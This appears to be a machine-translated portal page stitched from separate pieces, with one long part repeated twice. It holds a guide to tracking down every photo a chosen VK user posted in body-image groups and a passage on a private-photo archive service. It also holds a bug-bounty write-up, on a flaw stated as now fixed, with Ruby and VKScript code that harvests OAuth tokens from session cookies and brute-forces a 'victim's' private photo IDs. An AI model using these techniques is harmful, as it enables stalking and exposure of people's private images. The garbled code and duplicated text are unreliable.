Kako podesiti pametne telefone i računare. Informativni portal
  • Dom
  • Windows 7, XP
  • Privatna foto usluga VKontakte. Skrivene funkcije VK.API ili traženje privatnih fotografija na VKontakteu

Privatna foto usluga VKontakte. Skrivene funkcije VK.API ili traženje privatnih fotografija na VKontakteu

Na VKontakteu postoji mnogo javnosti, kao što su: 90-60-90, 40 kg, Sportske djevojke. U tim javnostima korisnici objavljuju fotografije svojih figura, fotografije "prije" i "poslije" dijete / sporta i tako dalje. Ukupan broj fotografija u albumima ovih grupa ponekad prelazi desetine hiljada. Kada objavljuju fotografije, mnogi ne razmišljaju o posljedicama, naivno vjerujući da ako svoju fotografiju bacite u hiljade sličnih, onda je niko neće pronaći. Ispod reza je opisan proces traženja fotografija određenog korisnika u grupama.

Formulacija problema
  1. uid - VK korisnički ID
  2. gid - ID VK grupe

potrebno:

  1. Pronađite sve fotografije koje je objavio uid u grupi gid
  2. Odredite u kojem se albumu nalazi svaka fotografija
API VKontakte

Kontakt nema metodu za direktno preuzimanje fotografija koje je postavio određeni korisnik u određenoj grupi. Međutim, željeni rezultat možete postići na sljedeći način:
1. Dobijte listu albuma pomoću metode photos.getAlbums:

VK.api("photos.getAlbums", ( gid: gid ), function(result)( if (result.response)( // Lista albuma je u nizu result.response // ID albuma je u pomoći polje )else( / / Nije uspjelo preuzimanje liste albuma ) ));

2. Dobijte listu fotografija u albumu (pomoć) koristeći metodu photos.get:

VK.api("photos.get", ( gid: gid, aid: aid ), function(result)( if (result.response)( // Lista fotografija je u nizu result.response // ID vlasnik fotografije nalazi se u polju owner_id // ID fotografije se nalazi u polju pid )else( // Nije uspjelo doći do liste fotografija u albumu ) ));

3. Dobijte URL fotografije pomoću metode photos.getById

VK.api("photos.getById", (fotografije: pids ), function(result)( if(result.response)( for(var i=0; i

Kako ubrzati pretragu?

Prolazak kroz sve grupe je prilično dugotrajan proces i nije preporučljivo pokretati ga svaki put kada tražite fotografiju određene osobe. Da biste ubrzali pretragu, dovoljno je indeksirati sve fotografije dodavanjem indeksa u internu tabelu.
Dovoljno je da sadrži 3 polja u tabeli:

  • uid - korisnički ID
  • gid - ID grupe
  • pid - ID fotografije

Nakon indeksiranja grupa, dovoljno je izvršiti upit

SELECT * FROM table WHERE uid = uid

Pretražite fotografije prijatelja

Koristeći metodu friends.get, možete dobiti listu prijatelja, a zatim pretražiti bazu podataka da biste dobili fotografije prijatelja:

VK.api("friends.get", ( user_id: uid ), function(result)( if(result.response)( // Zatim tražimo fotografije po ID-u prijatelja ) ));

Linkovi
  • Web stranica za pretraživanje fotografija: photovk.ru
  • Aplikacija VKontakte za pretraživanje fotografija:

Ogromna kolekcija privatnih fotografija u VK (oko 100 miliona). Usluga prikuplja fotografije svih korisnika društvenih mreža. mreže u jedan direktorij.

Pronalaženje fotografija određenog korisnika je jednostavno - samo je unesite. I teško ga je izbrisati, ako kreatorima pišete e-mailom, onda je šansa mala, a ako donirate, onda se šansa povećava.

Kako depo prikuplja fotografije u VK? Sve je vrlo jednostavno: usluga automatski postavlja fotografije svih korisnika u kolekciju na mreži. Nije bitno gdje objavljujete fotografiju, u zajednici ili na profilu. Čak i ako se fotografija izbriše nakon nekoliko minuta, već će biti u skladištu.

Stoga su se mnogi nezadovoljni korisnici obratili Roskomnadzoru, što je doprinijelo depo za stoku je bio blokiran na teritoriji Ruske Federacije. Blokiranje zaobilaznice nije moguće.

Zabranjeno je prikupljanje i čuvanje ličnih podataka korisnika. Iako korisnici sami postavljaju fotografije u javnost.

Trenutno sajt ne radičak i sa proxy serverima. Vlasnici su odmah nakon blokade odustali od slučaja. Tako možete mirno spavati i ne plašiti se da će neko pogledati vaše lične fotografije.

Skotobaza analogi

U 2018 bilo je različitih analoga, kao što je "Spaljeno", ali svi ne rade, jer su programeri Vkontaktea podesili skripte koje zabranjuju botovima da kradu privatne fotografije.

pažnja: Internet je pun "analoga" stocnog depoa, ali ne samo da ne rade nego su razlog hakovanje naloga! Ako naiđete na takve stranice, ni u kom slučaju ne unosite podatke iz Vkontaktea. Napadači će dobiti pristup računu i moći.

Prošlo je doba stočarstva i sličnih usluga. Sada je zabranjeno čuvanje i distribucija intimnih, privatnih fotografija. Ako se ne pridržavate zakona, bićete kažnjeni.

tl;dr

Otkrivena je ranjivost u VK oznakama, što je omogućilo dobijanje direktnih linkova na privatne fotografije iz ličnih poruka, albuma bilo kojeg korisnika/grupe. Napisana je skripta koja je sortirala fotografije korisnika u određenom periodu, a zatim, kroz ovu ranjivost, dobijala direktne veze do slika. Ukratko, bilo je moguće dobiti sve vaše jučerašnje fotografije za 1 minut, sve fotografije postavljene prošle sedmice za 7 minuta, prošlog mjeseca za 20 minuta, prošle godine za 2 sata. Ranjivost je sada ispravljena. Administracija VKontaktea isplatila je nagradu od 10 hiljada glasova.


Priča je počela slikom koja mi je poslata u ličnoj poruci na VKontakte. Obično, ako je nešto važno, postavim je u oblak, ali u mom slučaju to nije bilo potrebno i odlučio sam koristiti funkciju Vkontakte oznaka.

Ukratko o ovoj funkcionalnosti: sve stvari koje se korisniku sviđaju se dodaju u oznake; tu je i funkcija za ručno dodavanje linka korisniku i interna veza "VKontakte". Posljednja tačka mi se učinila vrlo zanimljivom, jer sam nakon dodavanja linka na fotografiju vidio njen pregled i tekst sa tipom dodanog entiteta:

Kada se doda veza, server je analizira, pokušava otkriti na koji entitet se odnosi i preuzima informacije o ovom objektu iz baze podataka. Po pravilu, kada pišete ovu vrstu funkcije sa mnogo uslova, verovatnoća da će programer nešto zaboraviti je veoma velika. Stoga nisam mogao priuštiti da prođem i odlučio sam odvojiti nekoliko minuta da malo eksperimentišem.

Kao rezultat toga, uspio sam nešto pronaći. Prilikom dodavanja linka na fotografiju, bilješku ili video koji nije dostupan, bilo je moguće dobiti neke privatne informacije o objektu. U slučaju fotografija i video zapisa, ovo je mali (150x150) pregled, na kojem je prilično teško bilo šta vidjeti, ime je prikazano za privatne bilješke. Preko API metode fave.getLinks bilo je moguće dobiti veze do slike, ali opet premale (75px i 130px). Dakle, u suštini ništa ozbiljno.

Odlučio sam otići na mobilnu verziju stranice da provjerim da li je sve tamo prikazano na isti način kao u normalnoj verziji. Gledajući kod stranice, vidio sam ovo:

Da! U vrijednosti atributa data-src_big pohranjena je direktna veza do originalne slike!

Tako je bilo moguće dobiti direktnu vezu do bilo koje slike na Vkontakteu, bez obzira na to gdje je postavljena i koje postavke privatnosti ima. To može biti slika iz privatnih poruka ili fotografija iz privatnih albuma bilo kojeg korisnika/grupe.

Činilo se da bi se na ovome moglo stati i pisati programerima, ali sam se pitao da li je moguće, iskorištavanjem ove ranjivosti, dobiti pristup svim (pa, ili postavljenim u određenom vremenskom periodu) fotografijama korisnika. Glavni problem ovdje, kao što razumijete, bio je taj što veza do privatne fotografije vrste nije uvijek poznata. fotografijaXXXXXX_XXXXXXX označiti. Pala mi je na pamet ideja da sortiram ID fotografije, ali sam je iz nekog razloga odmah odbacio kao ludu. Provjerio sam metode povezane sa fotografijama u API-ju, pogledao kako aplikacija radi sa albumima, ali nisam mogao pronaći nijedno curenje koje bi mi pomoglo da dobijem listu sa ID-ovima svih zatvorenih fotografija korisnika. Već sam želio da odustanem od ove ideje, ali gledajući ponovo link sa fotografijom, odjednom sam shvatio da je to ipak dobra ideja.

Kako funkcioniraju fotografije u VK-u

Kako biste mogli zamijeniti, link do fotografije photo52708106_359542386 sastoji se iz dva dela: (korisnički ID)_(neki čudan broj). Kako nastaje drugi dio?

Jao, nakon dva sata eksperimentisanja, još uvijek nisam razumio ovo. 2012. godine, na HighLoad++, Oleg Illarionov je rekao nekoliko riječi o tome kako pohranjuju fotografije, o horizontalnom dijeljenju i nasumičnom odabiru servera za učitavanje, ali mi ove informacije nisu ništa dale, jer ne postoji veza između ID-a servera i photo id. Jasno je da postoji određeni globalni brojač, ali tu postoji neka druga logika... Jer da je drugi broj formiran uobičajenim automatskim inkrementom, tada bi vrijednosti ID-ova fotografija dostigle ogromne vrijednosti ​davno (na primjer, za Facebook trenutno iznosi ~700 triliona), ali za Vkontakte ova vrijednost je samo ~400 miliona (iako, sudeći po statistici, dnevno korisnici postavljaju više od 30 miliona fotografija). One. jasno je da ova brojka nije jedinstvena, ali nije ni slučajna. Napisao sam skriptu koji je prošao kroz fotografije "starih" korisnika i na osnovu dobijenih podataka napravio grafikon koliko se ta cifra mijenja sa svakim godine:

Vidi se da vrijednosti skaču ovisno o nekim faktorima (broj servera ili nova logika?). Ali suština je da su oni prilično mali (posebno u posljednje 2-3 godine) i vrlo je lako izračunati raspon id-a za željeni vremenski period. Odnosno, da biste saznali direktne veze do fotografija korisnika, na primjer, za prošlu godinu, morate pokušati označiti samo 30 miliona (od _320000000 do _350000000) različitih varijacija veza! U nastavku sam opisao tehniku ​​grube sile koja mi je omogućila da to uradim za nekoliko minuta.

Razvrstavanje po fotografijama

Sve ovo je bilo moguće dodati ručno preko interfejsa ili napisati skriptu koja dodaje jedan link u bookmarks, ali to bi bilo dosadno i dugo. Brzina pretraživanja u ovom slučaju bi bila 3 markera u sekundi, jer pošaljite više od tri zahtjeva u sekundi na Vkontakte server zabranjeno je.

Ubrzajte pretragu x25

Kako bih malo zaobišao ograničenje od 3 zahtjeva, odlučio sam koristiti metodu izvršiti. U jednom pozivu ovoj metodi moguće je 25 poziva API metodama.

Var start = parseInt(Args.start); varend = parseInt(Args.end); var Id žrtve = Args.id; var link = "http://vk.com/photo" + Id žrtve + "_"; while(start != end) ( API.fave.addLink(( "link": veza + početak )); start = početak + 1; );
Tako je bilo moguće povećati brzinu grube sile do 3 * 25 oznaka / sek. Tokom protekle godine, fotografije bi bile razvrstane dugo vremena, ali za kratke periode ovaj način sortiranja je već bio prilično dobar.

Ubrzajte iteraciju x25 * broj istovremenih zahtjeva u sekundi

Ograničenje broja zahtjeva/sek odnosi se na svaku aplikaciju posebno, a ne na cijelog korisnika. Dakle, ništa vas ne sprječava da šaljete više zahtjeva paralelno, ali istovremeno koristite tokene iz različitih aplikacija u njima.

Za početak je bilo potrebno pronaći (ili kreirati) potreban broj aplikacija. Napisana je skripta koja traži samostalne aplikacije u datom rasponu ID-ova aplikacije:

Klasa StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| odgovor = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Također je bilo moguće odabrati aplikacije prema broju korisnika kako bi se dodatno ubrzalo dalje nabrajanje:

Ali odlučio sam da se ne zamaram time.

Ok, aplikacije su pronađene, sada trebaju dati dozvolu našim korisničkim podacima i primati tokene. Za autorizaciju, morao sam koristiti mehanizam Implicitnog protoka. Morao sam raščlaniti autorizacijski URL iz OAuth dijaloga i izvući token nakon preusmjeravanja. Kolačići su potrebni da bi ova klasa radila. p, l(login.vk.com) i remix-sid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Koliko se aplikacija nađe, toliko paralelnih zahtjeva. Da bi se cijela ova stvar paralelizirala, odlučeno je da se koristi dragulj Typhoeus, koji se dokazao u drugim zadacima. Ispalo je tako mali brutfor:

Klasa PhotosBruteForcer Photos_id_by_period = ("Danas" => 366300000..366500000, "Jučer" => 366050000..366300000, "Current_month" => 365000000..366500000, "Last_month" => 360000000..360000000..366500000 .. 350000000 ..366500000, "last_year" => 320000000..350000000 ) def inicijalize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokeni) hydra:: tokenes hydra:: tokeni0. @period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokeni)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run ako tokensIterator.zero? završiti hydra.run osim ako hydra.queued_requests.count.zero? završi privatni def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Da bi se gruba sila još više ubrzala, pokušano je da se riješi nepotrebnog tijela u odgovoru, ali na HEAD server zahtjeva "Vkontakte" vraća grešku 501 Nije implementirano.

Konačna verzija skripte izgleda ovako:

Zahtevaj "nokogiri" zahteva "open-uri" zahteva "typhoeus" zahteva "json" zahteva "./standalone_apps_finder" zahteva "./photos_bruteforcer" zahteva "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - kolačići sa login.vk.com # remixsid - kolačići sa vk.com authenticator = Authenticator.new("l=;" + "l=;" + =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Nakon izrade programa, sve fotografije korisnika za određeni period su bile u bookmark-ovima. Ostalo je samo otići na mobilnu verziju Vkontaktea, otvoriti konzolu preglednika, izvući direktne veze i uživati ​​u fotografijama u originalnoj veličini.

Rezultati

Općenito, sve ovisi o vašoj internetskoj vezi i brzini proxy servera, kašnjenju Vkontakte servera, snazi ​​procesora i mnogim drugim faktorima. Nakon što sam testirao gornju skriptu na svom računu, dobio sam sljedeće brojke (ne računajući vrijeme utrošeno na dobijanje tokena):

Tabela prikazuje prosječno vrijeme potrebno za isprobavanje ID-ova fotografija u datom periodu. Siguran sam da bi se sve ovo moglo ubrzati 10-20 puta. Na primjer, u skripti grube sile, napravite jedan veliki red svih zahtjeva i normalnu sinhronizaciju između njih, jer u mojoj implementaciji, jedan zahtjev sa timeoutom će usporiti cijeli proces. U svakom slučaju, mogli biste samo kupiti nekoliko EC2 instanci i dobiti sve fotografije bilo kojeg korisnika za sat vremena. Ali već sam htela da spavam.

I općenito, nije važno koliko vremena napadač potroši na to, 5 sati ili cijeli dan, jer će na ovaj ili onaj način dobiti linkove na privatne slike. Mogućnost da se ironično dobije pristup privatnim informacijama u ograničenom vremenu glavna je prijetnja koju predstavlja ova ranjivost.

Prijava ranjivosti

U početku je prijava poslata službi podrške, ali nakon odgovora tipa „hvala, vjerovatno ćemo to nekako popraviti...“ i tjedan dana čekanja, nešto mi je postalo tužno. Hvala vam puno što ste pomogli da direktno kontaktirate programere. Nakon toga, greške su zatvorene u roku od nekoliko sati, a nekoliko dana kasnije administracija je prebacila nagradu od 10k na moj račun

tl;dr

Otkrivena je ranjivost u VK oznakama, što je omogućilo dobijanje direktnih linkova na privatne fotografije iz ličnih poruka, albuma bilo kojeg korisnika/grupe. Napisana je skripta koja je sortirala fotografije korisnika u određenom periodu, a zatim, kroz ovu ranjivost, dobijala direktne veze do slika. Ukratko, bilo je moguće dobiti sve vaše jučerašnje fotografije za 1 minut, sve fotografije postavljene prošle sedmice za 7 minuta, prošlog mjeseca za 20 minuta, prošle godine za 2 sata. Ranjivost je sada ispravljena. Administracija VKontaktea isplatila je nagradu od 10 hiljada glasova.


Priča je počela slikom koja mi je poslata u ličnoj poruci na VKontakte. Obično, ako je nešto važno, postavim je u oblak, ali u mom slučaju to nije bilo potrebno i odlučio sam koristiti funkciju Vkontakte oznaka.

Ukratko o ovoj funkcionalnosti: sve stvari koje se korisniku sviđaju se dodaju u oznake; tu je i funkcija za ručno dodavanje linka korisniku i interna veza "VKontakte". Posljednja tačka mi se učinila vrlo zanimljivom, jer sam nakon dodavanja linka na fotografiju vidio njen pregled i tekst sa tipom dodanog entiteta:

Kada se doda veza, server je analizira, pokušava otkriti na koji entitet se odnosi i preuzima informacije o ovom objektu iz baze podataka. Po pravilu, kada pišete ovu vrstu funkcije sa mnogo uslova, verovatnoća da će programer nešto zaboraviti je veoma velika. Stoga nisam mogao priuštiti da prođem i odlučio sam odvojiti nekoliko minuta da malo eksperimentišem.

Kao rezultat toga, uspio sam nešto pronaći. Prilikom dodavanja linka na fotografiju, bilješku ili video koji nije dostupan, bilo je moguće dobiti neke privatne informacije o objektu. U slučaju fotografija i video zapisa, ovo je mali (150x150) pregled, na kojem je prilično teško bilo šta vidjeti, ime je prikazano za privatne bilješke. Preko API metode fave.getLinks bilo je moguće dobiti veze do slike, ali opet premale (75px i 130px). Dakle, u suštini ništa ozbiljno.

Odlučio sam otići na mobilnu verziju stranice da provjerim da li je sve tamo prikazano na isti način kao u normalnoj verziji. Gledajući kod stranice, vidio sam ovo:

Da! U vrijednosti atributa data-src_big pohranjena je direktna veza do originalne slike!

Tako je bilo moguće dobiti direktnu vezu do bilo koje slike na Vkontakteu, bez obzira na to gdje je postavljena i koje postavke privatnosti ima. To može biti slika iz privatnih poruka ili fotografija iz privatnih albuma bilo kojeg korisnika/grupe.

Činilo se da bi se na ovome moglo stati i pisati programerima, ali sam se pitao da li je moguće, iskorištavanjem ove ranjivosti, dobiti pristup svim (pa, ili postavljenim u određenom vremenskom periodu) fotografijama korisnika. Glavni problem ovdje, kao što razumijete, bio je taj što veza do privatne fotografije vrste nije uvijek poznata. fotografijaXXXXXX_XXXXXXX označiti. Pala mi je na pamet ideja da sortiram ID fotografije, ali sam je iz nekog razloga odmah odbacio kao ludu. Provjerio sam metode povezane sa fotografijama u API-ju, pogledao kako aplikacija radi sa albumima, ali nisam mogao pronaći nijedno curenje koje bi mi pomoglo da dobijem listu sa ID-ovima svih zatvorenih fotografija korisnika. Već sam želio da odustanem od ove ideje, ali gledajući ponovo link sa fotografijom, odjednom sam shvatio da je to ipak dobra ideja.

Kako funkcioniraju fotografije u VK-u

Kako biste mogli zamijeniti, link do fotografije photo52708106_359542386 sastoji se iz dva dela: (korisnički ID)_(neki čudan broj). Kako nastaje drugi dio?

Jao, nakon dva sata eksperimentisanja, još uvijek nisam razumio ovo. 2012. godine, na HighLoad++, Oleg Illarionov je rekao nekoliko riječi o tome kako pohranjuju fotografije, o horizontalnom dijeljenju i nasumičnom odabiru servera za učitavanje, ali mi ove informacije nisu ništa dale, jer ne postoji veza između ID-a servera i photo id. Jasno je da postoji određeni globalni brojač, ali tu postoji neka druga logika... Jer da je drugi broj formiran uobičajenim automatskim inkrementom, tada bi vrijednosti ID-ova fotografija dostigle ogromne vrijednosti ​davno (na primjer, za Facebook trenutno iznosi ~700 triliona), ali za Vkontakte ova vrijednost je samo ~400 miliona (iako, sudeći po statistici, dnevno korisnici postavljaju više od 30 miliona fotografija). One. jasno je da ova brojka nije jedinstvena, ali nije ni slučajna. Napisao sam skriptu koji je prošao kroz fotografije "starih" korisnika i na osnovu dobijenih podataka napravio grafikon koliko se ta cifra mijenja sa svakim godine:

Vidi se da vrijednosti skaču ovisno o nekim faktorima (broj servera ili nova logika?). Ali suština je da su oni prilično mali (posebno u posljednje 2-3 godine) i vrlo je lako izračunati raspon id-a za željeni vremenski period. Odnosno, da biste saznali direktne veze do fotografija korisnika, na primjer, za prošlu godinu, morate pokušati označiti samo 30 miliona (od _320000000 do _350000000) različitih varijacija veza! U nastavku sam opisao tehniku ​​grube sile koja mi je omogućila da to uradim za nekoliko minuta.

Razvrstavanje po fotografijama

Sve ovo je bilo moguće dodati ručno preko interfejsa ili napisati skriptu koja dodaje jedan link u bookmarks, ali to bi bilo dosadno i dugo. Brzina pretraživanja u ovom slučaju bi bila 3 markera u sekundi, jer pošaljite više od tri zahtjeva u sekundi na Vkontakte server zabranjeno je.

Ubrzajte pretragu x25

Kako bih malo zaobišao ograničenje od 3 zahtjeva, odlučio sam koristiti metodu izvršiti. U jednom pozivu ovoj metodi moguće je 25 poziva API metodama.

Var start = parseInt(Args.start); varend = parseInt(Args.end); var Id žrtve = Args.id; var link = "http://vk.com/photo" + Id žrtve + "_"; while(start != end) ( API.fave.addLink(( "link": veza + početak )); start = početak + 1; );
Tako je bilo moguće povećati brzinu grube sile do 3 * 25 oznaka / sek. Tokom protekle godine, fotografije bi bile razvrstane dugo vremena, ali za kratke periode ovaj način sortiranja je već bio prilično dobar.

Ubrzajte iteraciju x25 * broj istovremenih zahtjeva u sekundi

Ograničenje broja zahtjeva/sek odnosi se na svaku aplikaciju posebno, a ne na cijelog korisnika. Dakle, ništa vas ne sprječava da šaljete više zahtjeva paralelno, ali istovremeno koristite tokene iz različitih aplikacija u njima.

Za početak je bilo potrebno pronaći (ili kreirati) potreban broj aplikacija. Napisana je skripta koja traži samostalne aplikacije u datom rasponu ID-ova aplikacije:

Klasa StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| odgovor = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Također je bilo moguće odabrati aplikacije prema broju korisnika kako bi se dodatno ubrzalo dalje nabrajanje:

Ali odlučio sam da se ne zamaram time.

Ok, aplikacije su pronađene, sada trebaju dati dozvolu našim korisničkim podacima i primati tokene. Za autorizaciju, morao sam koristiti mehanizam Implicitnog protoka. Morao sam raščlaniti autorizacijski URL iz OAuth dijaloga i izvući token nakon preusmjeravanja. Kolačići su potrebni da bi ova klasa radila. p, l(login.vk.com) i remix-sid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Koliko se aplikacija nađe, toliko paralelnih zahtjeva. Da bi se cijela ova stvar paralelizirala, odlučeno je da se koristi dragulj Typhoeus, koji se dokazao u drugim zadacima. Ispalo je tako mali brutfor:

Klasa PhotosBruteForcer Photos_id_by_period = ("Danas" => 366300000..366500000, "Jučer" => 366050000..366300000, "Current_month" => 365000000..366500000, "Last_month" => 360000000..360000000..366500000 .. 350000000 ..366500000, "last_year" => 320000000..350000000 ) def inicijalize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokeni) hydra:: tokenes hydra:: tokeni0. @period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokeni)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run ako tokensIterator.zero? završiti hydra.run osim ako hydra.queued_requests.count.zero? završi privatni def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Da bi se gruba sila još više ubrzala, pokušano je da se riješi nepotrebnog tijela u odgovoru, ali na HEAD server zahtjeva "Vkontakte" vraća grešku 501 Nije implementirano.

Konačna verzija skripte izgleda ovako:

Zahtevaj "nokogiri" zahteva "open-uri" zahteva "typhoeus" zahteva "json" zahteva "./standalone_apps_finder" zahteva "./photos_bruteforcer" zahteva "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - kolačići sa login.vk.com # remixsid - kolačići sa vk.com authenticator = Authenticator.new("l=;" + "l=;" + =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Nakon izrade programa, sve fotografije korisnika za određeni period su bile u bookmark-ovima. Ostalo je samo otići na mobilnu verziju Vkontaktea, otvoriti konzolu preglednika, izvući direktne veze i uživati ​​u fotografijama u originalnoj veličini.

Rezultati

Općenito, sve ovisi o vašoj internetskoj vezi i brzini proxy servera, kašnjenju Vkontakte servera, snazi ​​procesora i mnogim drugim faktorima. Nakon što sam testirao gornju skriptu na svom računu, dobio sam sljedeće brojke (ne računajući vrijeme utrošeno na dobijanje tokena):

Tabela prikazuje prosječno vrijeme potrebno za isprobavanje ID-ova fotografija u datom periodu. Siguran sam da bi se sve ovo moglo ubrzati 10-20 puta. Na primjer, u skripti grube sile, napravite jedan veliki red svih zahtjeva i normalnu sinhronizaciju između njih, jer u mojoj implementaciji, jedan zahtjev sa timeoutom će usporiti cijeli proces. U svakom slučaju, mogli biste samo kupiti nekoliko EC2 instanci i dobiti sve fotografije bilo kojeg korisnika za sat vremena. Ali već sam htela da spavam.

I općenito, nije važno koliko vremena napadač potroši na to, 5 sati ili cijeli dan, jer će na ovaj ili onaj način dobiti linkove na privatne slike. Mogućnost da se ironično dobije pristup privatnim informacijama u ograničenom vremenu glavna je prijetnja koju predstavlja ova ranjivost.

Prijava ranjivosti

U početku je prijava poslata službi podrške, ali nakon odgovora tipa „hvala, vjerovatno ćemo to nekako popraviti...“ i tjedan dana čekanja, nešto mi je postalo tužno. Veliko hvala Bo0oM-u koji je pomogao da se direktno kontaktiraju programeri. Nakon toga, greške su zatvorene u roku od nekoliko sati, a nekoliko dana kasnije administracija je prebacila nagradu od 10k na moj račun

Top Related Articles